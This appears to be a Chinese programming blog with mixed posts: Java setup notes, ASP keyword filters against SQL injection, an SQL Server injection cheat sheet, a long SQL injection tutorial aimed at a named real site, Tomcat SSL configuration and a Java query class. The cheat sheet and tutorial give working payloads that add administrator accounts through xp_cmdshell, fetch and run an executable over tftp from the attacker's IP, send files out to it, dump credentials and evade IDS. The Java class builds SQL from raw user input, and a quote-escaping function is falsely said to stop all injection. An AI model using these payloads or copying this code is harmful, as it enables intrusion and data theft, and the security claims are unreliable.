第二章 Java編程環境
2.1安裝java
1、java工具包
http://java.sun.com/j2se/1.4/install-windows.html2、設置執行環境(windows 2000)
PATH=c:\jdk\bin;
3、安裝庫源文件和文檔
jar xvf src.jar
jar xvf j2sdkversion-doc.zip
第一個java例子
eg:Weclome.java
public class Welcome
{
public static void main(String[] args)
{
String[] greeting=new String[3];
greeting[0]="Welcome to Core Java";
greeting[1]="by Car Horstman";
greeting[2]="and Gary Cornell";
for ( int i=0;i<greeting.length;i++)
System.out.println(greeting[i]);
}
}
posted @
2006-06-23 13:25 my java 閱讀(874) |
評論 (3) |
編輯 收藏
1、獲得表單中文本框的數據:
mySmartUpload.getRequest().getParameter("applyusrname")
java.util.Enumeration e = mySmartUpload.getRequest().getParameterNames();
posted @
2006-06-23 09:34 my java 閱讀(743) |
評論 (0) |
編輯 收藏
<%
function sqlcheck(Str,errtype)
if Instr(LCase(Str),"select ") > 0 or Instr(LCase(Str),"insert ") > 0 or Instr(LCase(Str),"delete ") > 0 or Instr(LCase(Str),"delete from ") > 0 or Instr(LCase(Str),"count(") > 0 or Instr(LCase(Str),"drop table") > 0 or Instr(LCase(Str),"update ") > 0 or Instr(LCase(Str),"truncate ") > 0 or Instr(LCase(Str),"asc(") > 0 or Instr(LCase(Str),"mid(") > 0 or Instr(LCase(Str),"char(") > 0 or Instr(LCase(Str),"xp_cmdshell") > 0 or Instr(LCase(Str),"exec master") > 0 or Instr(LCase(Str),"net localgroup administrators") > 0 or Instr(LCase(Str),"and ") > 0 or Instr(LCase(Str),"net user") > 0 or Instr(LCase(Str),"or ") > 0 then
Response.write("<script language=javascript>" & vbcrlf & "window.location.href ='ShowError.asp?errtype=" & errtype & "'" & vbcrlf & "</script>")
Response.End
end if
Str=Replace(Str,"_","") '過濾SQL注入_
Str=Replace(Str,"*","") '過濾SQL注入*
Str=Replace(Str," ","") '過濾SQL注入空格
Str=Replace(Str,chr(34),"") '過濾SQL注入"
Str=Replace(Str,chr(39),"") '過濾SQL注入'
Str=Replace(Str,chr(91),"") '過濾SQL注入[
Str=Replace(Str,chr(93),"") '過濾SQL注入]
Str=Replace(Str,chr(37),"") '過濾SQL注入%
Str=Replace(Str,chr(58),"") '過濾SQL注入:
Str=Replace(Str,chr(59),"") '過濾SQL注入;
Str=Replace(Str,chr(43),"") '過濾SQL注入+
Str=Replace(Str,"{","") '過濾SQL注入{
Str=Replace(Str,"}","") '過濾SQL注入}
sqlcheck=Str '返回經過上面字符替換后的Str
end function
%>
function SafeRequest(ParaName,ParaType)
'--- 傳入參數 ---
'ParaName:參數名稱-字符型
'ParaType:參數類型-數字型(1表示以上參數是數字,0表示以上參數為字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "參數" & ParaName & "必須為數字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
Function SafeRequest(ParaValue,ParaType)
'--- 傳入參數 ---
'ParaName:參數名稱-字符型
'ParaType:參數類型-數字型(1表示以上參數是數字,0表示以上參數為字符)
'Dim ParaValue
'ParaValue=Request(ParaName)函數里面是不要加引號
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write " 參數" & ParaName & "必須為數字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","")
ParaValue=replace(ParaValue,";and 1=1","")
ParaValue=replace(ParaValue,";and 1=2","")
ParaValue=replace(ParaValue,";and user>0","")
ParaValue=replace(ParaValue,">","")
ParaValue=replace(ParaValue,"<","")
ParaValue=replace(ParaValue,"=","")
ParaValue=replace(ParaValue,"count","")
ParaValue=replace(ParaValue,"select","")
ParaValue=replace(ParaValue,"drop","")
ParaValue=replace(ParaValue,"delect","")
ParaValue=replace(ParaValue,"insert","")
ParaValue=replace(ParaValue,"execute","")
ParaValue=replace(ParaValue,"update","")
ParaValue=replace(ParaValue,"mid","")
ParaValue=replace(ParaValue,"exec","")
ParaValue=replace(ParaValue,"master","")
ParaValue=replace(ParaValue,"char","")
ParaValue=replace(ParaValue,"declare","")
ParaValue=replace(ParaValue,"*","")
ParaValue=replace(ParaValue,"%","")
ParaValue=replace(ParaValue,"chr","")
ParaValue=replace(ParaValue,"truncate","")
End if
SafeRequest=ParaValue
End function
'調用方式
DirID=Request("DirID")'///數據目錄名稱參數/無則表示全部數據
DirID=SafeRequest(DirID,1)
Dim SQL_inbreakstr
SQL_inbreakstr = "'|or|and|exec|insert|select|delete|update|drop|count|*|%|chr|mid|master|truncate|char|declare"
SQL_inbreak = split(SQL_inbreakstr,"|")
R_Q=Request.QueryString
R_F=Request.Form
IF R_Q<>"" THEN
For i=0 To Ubound(SQL_inbreak)
IF instr(R_Q,SQL_inbreak(i))>0 THEN
Response.Write "*****"
Response.End
END IF
Next
End IF
IF R_F<>"" THEN
For i=0 To Ubound(SQL_inbreak)
IF instr(R_F,SQL_inbreak(i))>0 THEN
Response.Write "*****"
Response.End
END IF
Next
END IF
<%
'--------版權說明------------------
'SQL通用防注入程序 V2.0 完美版
'本程序由 火狐-楓知秋 獨立開發
'對本程序有任何疑問請聯系本人
'QQ:613548
'--------定義部份------------------
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
'自定義需要過濾的字串,用 "楓" 分隔
Fy_In = "'楓;楓and楓exec楓insert楓select楓delete楓update楓count楓*楓%楓chr楓mid楓master楓truncate楓char楓declare"
'----------------------------------
%>
<%
Fy_Inf = split(Fy_In,"楓")
'--------POST部份------------------
If Request.Form<>"" Then
For Each Fy_Post In Request.Form
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
'--------寫入數據庫-------頭--------
Fy_dbstr="DBQ="+server.mappath("SqlIn.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
Set Fy_db=Server.CreateObject("ADODB.CONNECTION")
Fy_db.open Fy_dbstr
Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")
Fy_db.close
Set Fy_db = Nothing
'--------寫入數據庫-------尾--------
Response.Write "<Script Language=JavaScript>alert('楓網SQL通用防注入系統提示↓\n\n請不要在參數中包含非法字符嘗試注入!\n\nHTTP://WwW.WrSkY.CoM 系統版本:V2.0(ASP)完美版');</Script>"
Response.Write "非法操作!系統做了如下記錄↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作時間:"&Now&"<br>"
Response.Write "操作頁面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:POST<br>"
Response.Write "提交參數:"&Fy_Post&"<br>"
Response.Write "提交數據:"&Request.Form(Fy_Post)
Response.End
End If
Next
Next
End If
'----------------------------------
'--------GET部份-------------------
If Request.QueryString<>"" Then
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
''--------寫入數據庫-------頭--------
Fy_dbstr="DBQ="+server.mappath("SqlIn.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
Set Fy_db=Server.CreateObject("ADODB.CONNECTION")
Fy_db.open Fy_dbstr
Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','GET','"&Fy_Get&"','"&replace(Request.QueryString(Fy_Get),"'","''")&"')")
Fy_db.close
Set Fy_db = Nothing
'--------寫入數據庫-------尾--------
Response.Write "<Script Language=JavaScript>alert('楓網SQL通用防注入系統提示↓\n\n請不要在參數中包含非法字符嘗試注入!\n\nHTTP://WwW.WrSkY.CoM 系統版本:V2.0(ASP)完美版');</Script>"
Response.Write "非法操作!系統做了如下記錄↓<br>"
Response.Write "操作IP:"&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作時間:"&Now&"<br>"
Response.Write "操作頁面:"&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式:GET<br>"
Response.Write "提交參數:"&Fy_Get&"<br>"
Response.Write "提交數據:"&Request.QueryString(Fy_Get)
Response.End
End If
Next
Next
End If
'----------------------------------
%>
可以防止所有得sql注入:
Function SafeRequest(ParaName,ParaType)
'--- 防止SQL注入 ---
'ParaName:參數名稱-字符型
'ParaType:參數類型-數字型(1表示以上參數是數字,0表示以上參數為字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "<br><br><br><center><font color=red>參數" & ParaName & "必須為數字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
來源:http://www.yesky.com/305/1899305.shtml
posted @
2006-02-05 10:23 my java 閱讀(638) |
評論 (0) |
編輯 收藏
[獲得數據表名][將字段值更新為表名,再想法讀出這個字段的值就可得到表名] update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個加一個]) [ where 條件]
[獲得數據表字段名][將字段值更新為字段名,再想法讀出這個字段的值就可得到字段名] update 表名 set 字段=(select top 1 col_name(object_id('要查詢的數據表名'),字段列如:1) [ where 條件]
也可以這樣更簡捷的獲取表名:
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通過SQLSERVER注入漏洞建數據庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組]
news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加數據庫用戶用戶test,密碼為test news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密碼,則用這句(將test的密碼改為123456) news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //將test加到sysadmin組,這個組的成員可執行任何操作 news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';-- //添加系統用戶test,密碼為test news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';-- //將系統用戶test提升為管理員
這樣,你在他的數據庫和系統內都留下了test管理員賬號了
下面是如何從你的服器下載文件file.exe后運行它[前提是你必須將你的電腦設為TFTP服務器,將69端口打開]
id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP get file.exe';--
然后運行這個文件: id=2; exec master.dbo.xp_cmdshell 'file.exe';--
下載服務器的文件file2.doc到本地TFTP服務器[文件必須存在]:
id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP Put file2.doc';--
繞過IDS的檢測[使用變量] declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\' declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
| |
posted @
2006-02-05 10:04 my java 閱讀(289) |
評論 (0) |
編輯 收藏
隨著B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由于這個行業的入門門檻不高,程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。
SQL注入是從正常的WWW端口訪問,而且表面看起來跟一般的Web頁面訪問沒什么區別,所以目前市面的防火墻都不會對SQL注入發出警報,如果管理員沒查看IIS*志的習慣,可能被入侵很長時間都不會發覺。
但是,SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況。能不能根據具體情況進行分析,構造巧妙的SQL語句,從而成功獲取想要的數據,是高手與“菜鳥”的根本區別。
根據國情,國內的網站用ASP Access或SQLServer的占70%以上,PHP MySQ占L20%,其他的不足10%。在本文,我們從分入門、進階至高級講解一下ASP注入的方法及技巧,PHP注入的文章由NB聯盟的另一位朋友zwell撰寫,希望對安全工作者和程序員都有用處。了解ASP注入的朋友也請不要跳過入門篇,因為部分人對注入的基本判斷方法還存在誤區。大家準備好了嗎?Let's Go...
入 門 篇
如果你以前沒試過SQL注入的話,那么第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好HTTP 錯誤信息前面的勾去掉。否則,不論服務器返回什么錯誤,IE都只顯示為HTTP 500服務器錯誤,不能獲得更多的提示信息。
第一節、SQL注入原理
以下我們從一個網
www.19cn.com開始(注:本文發表前已征得該站站長同意,大部分都是真實數據)。
在網站首頁上,有名為“IE不能打開新窗口的多種解決方法”的鏈接,地址為:
http://www.19cn.com/showdetail.asp?id=49,我們在這個地址后面加上單引號’,服務器會返回下面的錯誤提示:
Microsoft JET Database Engine 錯誤 '80040e14'字符串的語法錯誤 在查詢表達式 'ID=49'' 中。
/showdetail.asp,行8
從這個錯誤提示我們能看出下面幾點:
1.網站使用的是Access數據庫,通過JET引擎連接數據庫,而不是通過ODBC。
2. 程序沒有判斷客戶端提交的數據是否符合程序要求。
3. 該SQL語句所查詢的表中有一名為ID的字段。
從上面的例子我們可以知道,SQL注入的原理,就是從客戶端提交特殊的代碼,從而收集程序及服務器的信息,從而獲取你想到得到的資料。
第二節、判斷能否進行SQL注入
看完第一節,有一些人會覺得:我也是經常這樣測試能否注入的,這不是很簡單嗎?
其實,這并不是最好的方法,為什么呢?
首先,不一定每臺服務器的IIS都返回具體錯誤提示給客戶端,如果程序中加了cint(參數)之類語句的話,SQL注入是不會成功的,但服務器同樣會報錯,具體提示信息為處理 URL 時服務器上出錯。請和系統管理員聯絡。
其次,部分對SQL注入有一點了解的程序員,認為只要把單引號過濾掉就安全了,這種情況不為少數,如果你用單引號測試,是測不到注入點的那么,什么樣的測試方法才是比較準確呢?答案如下:
①
http://www.19cn.com/showdetail.asp?id=49 ②
http://www.19cn.com/showdetail.asp?id=49 ;;and 1=1
③
http://www.19cn.com/showdetail.asp?id=49 ;;and 1=2
這就是經典的1=1、1=2測試法了,怎么判斷呢?看看上面三個網址返回的結果就知道了:
可以注入的表現:
① 正常顯示(這是必然的,不然就是程序有錯誤了)
② 正常顯示,內容基本與①相同
③ 提示BOF或EOF(程序沒做任何判斷時)、或提示找不到記錄(判斷了rs.eof時)、或顯示內容為空(程序加了on error resume next)不可以注入就比較容易判斷了,①同樣正常顯示,②和③一般都會有程序定義的錯誤提示,或提示類型轉換時出錯。
當然,這只是傳入參數是數字型的時候用的判斷方法,實際應用的時候會有字符型和搜索型參數,我將在中級篇的“SQL注入一般步驟”再做分析。
第三節、判斷數據庫類型及注入方法
不同的數據庫的函數、注入方法都是有差異的,所以在注入之前,我們還要判斷一下數據庫的類型。一般ASP最常搭配的數據庫是Access和SQLServer,網上超過99%的網站都是其中之一。
怎么讓程序告訴你它使用的什么數據庫呢?來看看:
SQLServer有一些系統變量,如果服務器IIS提示沒關閉,并且SQLServer返回錯誤提示的話,那可以直接從出錯信息獲取,方法如下:
http://www.19cn.com/showdetail.asp?id=49;;and user>0
這句語句很簡單,但卻包含了SQLServer特有注入方法的精髓,我自己也是在一次無意的測試中發現這種效率極高的猜解方法。讓我看來看看它的含義:首先,前面的語句是正常的,重點在anduser>0,我們知道,user是SQLServer的一個內置變量,它的值是當前連接的用戶名,類型為nvarchar。拿一個nvarchar的值跟int的數0比較,系統會先試圖將nvarchar的值轉成int型,當然,轉的過程中肯定會出錯,SQLServer的出錯提示是:將nvarchar值 ”abc” 轉換數據類型為 int 的列時發生語法錯誤,呵呵,abc正是變量user的值,這樣,不廢吹灰之力就拿到了數據庫的用戶名。在以后的篇幅里,大家會看到很多用這種方法的語句。
順便說幾句,眾所周知,SQLServer的用戶sa是個等同Adminstrators權限的角色,拿到了sa權限,幾乎肯定可以拿到主機的Administrator了。上面的方法可以很方便的測試出是否是用sa登錄,要注意的是:如果是sa登錄,提示是將”dbo”轉換成int的列發生錯誤,而不是”sa”。
如果服務器IIS不允許返回錯誤提示,那怎么判斷數據庫類型呢?我們可以從Access和SQLServer和區別入手,Access和SQLServer都有自己的系統表,比如存放數據庫中所有對象的表,Access是在系統表[msysobjects]中,但在Web環境下讀該表會提示“沒有權限”,SQLServer是在表[sysobjects]中,在Web環境下
可正常讀取。
在確認可以注入的情況下,使用下面的語句:
http://www.19cn.com/showdetail.asp?id=49;;and(select count(*) from sysobjects)>0
http://www.19cn.com/showdetail.asp?id=49;;and(select count(*) from msysobjects)>0
如果數據庫是SQLServer,那么第一個網址的頁面與原頁面
http://www.19cn.com/showdetail.asp?id=49是大致相同的;而第二個網址,由于找不到表msysobjects,會提示出錯,就算程序有容錯處理,頁面也與原頁面完全不同。
如果數據庫用的是Access,那么情況就有所不同,第一個網址的頁面與原頁面完全不同;第二個網址,則視乎數據庫設置是否允許讀該系統表,一般來說是不允許的,所以與原網址也是完全不同。大多數情況下,用第一個網址就可以得知系統所用的數據庫類型,第二個網址只作為開啟IIS錯誤提示時的驗證。
進 階 篇
在入門篇,我們學會了SQL注入的判斷方法,但真正要拿到網站的保密內容,是遠遠不夠的。接下來,我們就繼續學習如何從數據庫中獲取想要獲得的內容,首先,我們先看看SQL注入的一般步驟:
第一節、SQL注入的一般步驟
首先,判斷環境,尋找注入點,判斷數據庫類型,這在入門篇已經講過了。
其次,根據注入參數類型,在腦海中重構SQL語句的原貌,按參數類型主要分為下面三種:
(A) ID=49 這類注入的參數是數字型,SQL語句原貌大致如下:
Select * from 表名 where 字段=49
注入的參數為ID=49 And [查詢條件],即是生成語句:
Select * from 表名 where 字段=49 And [查詢條件]
(B) Class=連續劇 這類注入的參數是字符型,SQL語句原貌大致概如下:
Select * from 表名 where 字段=’連續劇’
注入的參數為Class=連續劇’ and [查詢條件] and ‘’=’ ,即是生成語句:
Select * from 表名 where 字段=’連續劇’ and [查詢條件] and ‘’=’’
(C) 搜索時沒過濾參數的,如keyword=關鍵字,SQL語句原貌大致如下:
Select * from 表名 where 字段like ’%關鍵字%’
注入的參數為keyword=’ and [查詢條件] and ‘%’=’, 即是生成語句:
Select * from 表名 where字段like ’%’ and [查詢條件] and ‘%’=’%’
接著,將查詢條件替換成SQL語句,猜解表名,例如:
ID=49 And (Select Count(*) from Admin)>=0
如果頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法)。
如此循環,直至猜到表名為止。
表名猜出來后,將Count(*)替換成Count(字段名),用同樣的原理猜解字段名。
有人會說:這里有一些偶然的成分,如果表名起得很復雜沒規律的,那根本就沒得玩下去了。說得很對,這世界根本就不存在100%成功的黑客技術,蒼蠅不叮無縫的蛋,無論多技術多高深的黑客,都是因為別人的程序寫得不嚴密或使用者保密意識不夠,才有得下手。
有點跑題了,話說回來,對于SQLServer的庫,還是有辦法讓程序告訴我們表名及字段名的,我們在高級篇中會做介紹。
最后,在表名和列名猜解成功后,再使用SQL語句,得出字段的值,下面介紹一種最常用的方法-Ascii逐字解碼法,雖然這種方法速度很慢,但肯定是可行的方法。
我們舉個例子,已知表Admin中存在username字段,首先,我們取第一條記錄,測試長度:
http://www.19cn.com/showdetail.asp?id=49;;and (select top 1 len(username) from Admin)>0
先說明原理:如果top 1的username長度大于0,則條件成立;接著就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>7成立,>8不成立,就是len(username)=8
當然沒人會笨得從0,1,2,3一個個測試,怎么樣才比較快就看各自發揮了。在得到username的長度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII碼,比如:
id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0
同樣也是用逐步縮小范圍的方法得到第1位字符的ASCII碼,注意的是英文和數字的ASCII碼在1-128之間,可以用折半法加速猜解,如果寫成程序測試,效率會有極大的提高。
第二節、SQL注入常用函數
有SQL語言基礎的人,在SQL注入的時候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL水平,特別是一些常用的函數及命令。
Access:asc(字符) SQLServer:unicode(字符)
作用:返回某字符的ASCII碼
Access:chr(數字) SQLServer:nchar(數字)
作用:與asc相反,根據ASCII碼返回字符
Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
作用:返回字符串從N個字符起長度為L的子字符串,即N到N L之間的字符串
Access:abc(數字) SQLServer:abc (數字)
作用:返回數字的絕對值(在猜解漢字的時候會用到)
Access:A between B And C SQLServer:A between B And C
作用:判斷A是否界于B與C之間
第三節、中文處理方法
在注入中碰到中文字符是常有的事,有些人一碰到中文字符就想打退堂鼓了。其實只要對中文的編碼有所了解,“中文恐懼癥”很快可以克服。
先說一點常識:
Access中,中文的ASCII碼可能會出現負數,取出該負數后用abs()取絕對值,漢字字符不變。
SQLServer中,中文的ASCII為正數,但由于是UNICODE的雙位編碼,不能用函數ascii()取得ASCII碼,必須用函數unicode ()返回unicode值,再用nchar函數取得對應的中文字符。
了解了上面的兩點后,是不是覺得中文猜解其實也跟英文差不多呢?除了使用的函數要注意、猜解范圍大一點外,方法是沒什么兩樣的。
高 級 篇
看完入門篇和進階篇后,稍加練習,破解一般的網站是沒問題了。但如果碰到表名列名猜不到,或程序作者過濾了一些特殊字符,怎么提高注入的成功率?怎么樣提高猜解效率?請大家接著往下看高級篇。
第一節、利用系統表注入SQLServer數據庫
SQLServer是一個功能強大的數據庫系統,與操作系統也有緊密的聯系,這給開發者帶來了很大的方便,但另一方面,也為注入者提供了一個跳板,我們先來看看幾個具體的例子:
①
http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--
分號;在SQLServer中表示隔開前后兩句語句,--表示后面的語句為注釋,所以,這句語句在SQLServer中將被分成兩句執行,先是Select出ID=1的記錄,然后執行存儲過程xp_cmdshell,這個存儲過程用于調用系統命令,于是,用net命令新建了用戶名為name、密碼為password的windows的帳號,接著:
②
http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators/add”--
將新建的帳號name加入管理員組,不用兩分鐘,你已經拿到了系統最高權限!當然,這種方法只適用于用sa連接數據庫的情況,否則,是沒有權限調用xp_cmdshell的。
③
http://Site/url.asp?id=1 ;;and db_name()>0
前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統變量,返回的是連接的數據庫名。
④
http://Site/url.asp?id=1;backup database 數據庫名 to disk=’c:\inetpub\wwwroot\1.db’;--這是相當狠的一招,從③拿到的數據庫名,加上某些IIS出錯暴露出的絕對路徑,將數據庫備份到Web目錄下面,再用HTTP把整個數據庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網絡地址的方法(如
\\202.96.xx.xx\Share\1.db),但成功率不高。
⑤
http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’and status>0)>0
前面說過,sysobjects是SQLServer的系統表,存儲著所有的表名、視圖、約束及其它對象,xtype=’U’and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第二、第三個表名怎么獲取?還是留給我們聰明的讀者思考吧。
⑥
http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0
從⑤拿到表名后,用object_id(‘表名’)獲取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表里面的字段名。
以上6點是我研究SQLServer注入半年多以來的心血結晶,可以看出,對SQLServer的了解程度,直接影響著成功率及猜解速度。在我研究SQLServer注入之后,我在開發方面的水平也得到很大的提高,呵呵,也許安全與開發本來就是相輔相成的吧。
第二節、繞過程序限制繼續注入
在入門篇提到,有很多人喜歡用’號測試注入漏洞,所以也有很多人用過濾’號的方法來“防止”注入漏洞,這也許能擋住一些入門者的攻擊,但對SQL注入比較熟悉的人,還是可以利用相關的函數,達到繞過程序限制的目的。
在“SQL注入的一般步驟”一節中,我所用的語句,都是經過我優化,讓其不包含有單引號的;在“利用系統表注入SQLServer數據庫”中,有些語句包含有’號,我們舉個例子來看看怎么改造這些語句:
簡單的如where xtype=’U’,字符U對應的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用戶’,可以用where name=nchar(29992) nchar(25143)代替。
第三節、經驗小結
1.有些人會過濾Select、Update、Delete這些關鍵字,但偏偏忘記區分大小寫,所以大家可以用selecT這樣嘗試一下。
2.在猜不到字段名時,不妨看看網站上的登錄表單,一般為了方便起見,字段名都與表單的輸入框取相同的名字。
3.特別注意:地址欄的 號傳入程序后解釋為空格,+解釋為 號,%解釋為%號,具體可以參考URLEncode的相關介紹。
4.用Get方法注入時,IIS會記錄你所有的提交字符串,對Post方法做則不記錄,所以能用Post的網址盡量不用Get。
5. 猜解Access時只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區別即可,但是如果能用SQLServer的報錯信息把值暴露出來,那效率和準確率會有極大的提高。
防 范 方 法
SQL注入漏洞可謂是“千里之堤,潰于蟻穴”,這種漏洞在網上極為普遍,通常是由于程序員對注入不了解,或者程序過濾不嚴格,或者某個參數忘記檢查導致。在這里,我給大家一個函數,代替ASP中的Request函數,可以對一切的SQL注入Say NO,函數如下:
function SafeRequest(ParaName,ParaType)
'--- 傳入參數 ---
'ParaName:參數名稱-字符型
'ParaType:參數類型-數字型(1表示以上參數是數字,0表示以上參數為字符)
Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "參數" & ParaName & "必須為數字型!"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function
文章到這里就結束了,不管你是安全人員、技術愛好者還是程序員,我都希望本文能對你有所幫助。
posted @
2006-02-05 09:58 my java 閱讀(330) |
評論 (0) |
編輯 收藏
43828348
http://www.wsmmz.nethttp://www.sooweb.net/Html/Soft/82.htmlhttp://www.hnwuyun.com/jc/http://club.cat898.com/newbbs/printpage.asp?BoardID=18&ID=760319http://lsdw.go1.icpcn.com/pstg/6.htmhttp://font.flash8.net/font/list.aspx?page=3&c_id=383&s_id=395
posted @
2006-02-02 11:17 my java 閱讀(271) |
評論 (0) |
編輯 收藏
http://www.comprg.com.cnhttp://supercss.com/
posted @
2006-01-26 11:16 my java 閱讀(307) |
評論 (0) |
編輯 收藏
1、創建證書鑰匙庫:
keytool -genkey -alias tomcat -keyalg RSA
缺省證書文件名為:.keystore
2、修改文件server.xml
<Connector port="8443"
maxThreads="150" minSpareThreads="25" maxSpareThreads="75"
enableLookups="false" disableUploadTimeout="true"
acceptCount="100" debug="0" scheme="https" secure="true"
clientAuth="false"
keystoreFile="C:\keystore\.keystore"
keystorePass="netscape"
sslProtocol="TLS" />
3、web.xml
<security-constraint>
<web-resource-collection>
<web-resource-name>Purchase</web-resource-name>
<url-pattern>/ssl/*</url-pattern>
</web-resource-collection>
<auth-constraint>
<role-name>registered-user</role-name>
</auth-constraint>
<user-data-constraint>
<transport-guarantee>CONFIDENTIAL</transport-guarantee>
</user-data-constraint>
</security-constraint>
<!-- Only users in the administrator role can access
the delete-account.jsp page within the admin
directory. -->
<security-constraint>
<web-resource-collection>
<web-resource-name>Account Deletion</web-resource-name>
<url-pattern>/admin/delete-account.jsp</url-pattern>
</web-resource-collection>
<auth-constraint>
<role-name>administrator</role-name>
</auth-constraint>
</security-constraint>
<!-- Tell the server to use form-based authentication. -->
<login-config>
<auth-method>FORM</auth-method>
<form-login-config>
<form-login-page>/admin/login.jsp</form-login-page>
<form-error-page>/admin/login-error.jsp</form-error-page>
</form-login-config>
</login-config>
4、重啟tomcat
posted @
2005-11-02 15:21 my java 閱讀(400) |
評論 (0) |
編輯 收藏
/*
* Created on 2005-9-27
*
* TODO To change the template for this generated file go to
* Window - Preferences - Java - Code Style - Code Templates
*/
package fibernews.action;
import javax.servlet.http.*;
import java.sql.*;
import java.util.*;
import fibernews.framework.db.*;
import fibernews.beans.Employee;
import fibernews.util.function.HandleString;
import fibernews.framework.logging.Logger;
/**
* @author Administrator
*
* TODO To change the template for this generated type comment go to
* Window - Preferences - Java - Code Style - Code Templates
*/
public class ListEmpAction extends Action {
List list ;
public String process(HttpServletRequest request, HttpServletResponse response) {
Connection conn=DBHelper.getConnection();
Statement st=null;
PreparedStatement pst=null;
ResultSet rs=null ;
String query=HandleString.toChinese(request.getParameter("query"));
if ((query==null)||query.trim().equals("")) query="lmsun";
try{
String sql="select * from employee_email where name like '%"+query+"%' or email like '%"+query+"%'" ;
//st=conn.createStatement();
pst=conn.prepareStatement(sql);
rs=pst.executeQuery();
list=new ArrayList();
Employee emp;
while (rs.next()){
emp=new Employee();
emp.setId(rs.getString("id"));
emp.setEmployee_bh(rs.getString("employee_bh"));
emp.setName(rs.getString("name"));
emp.setEmail(rs.getString("email"));
emp.setDepartment1(rs.getString("department1"));
emp.setDepartment2(rs.getString("department2"));
emp.setDepartment3(rs.getString("department3"));
list.add(emp);
}
}
catch (Exception e) {
System.out.println("Error Connecting to catalog DB: " + e.toString());
}
finally {
DBHelper.close(rs,pst,conn);
}
request.setAttribute("empList",list);
return "/intra/query/emailbook.jsp";
}
public static void main(String[] args)
{
ListEmpAction empaction = new ListEmpAction();
System.out.print("End");
}
}
posted @
2005-09-27 13:21 my java 閱讀(317) |
評論 (0) |
編輯 收藏
重定向請求
下面我們來構造一個AuthenticationFilter過濾器,它的功能是截獲對Controller Servlet的請求,然后驗證用戶的身份。按照前面介紹的步驟用向導創建過濾器時,向導提供了定義初始化參數、過濾器的URL和Servlet映射等參數。如果不設置這類參數,缺省情況下向導用過濾器本身的名稱創建一個URL映射,我們將在下面用編輯web.xml文件的方式定義映射,因此現在先認可缺省值。注意,如果你想在鏈中使用一個以上的過濾器,那就必須手工編輯web.xml。
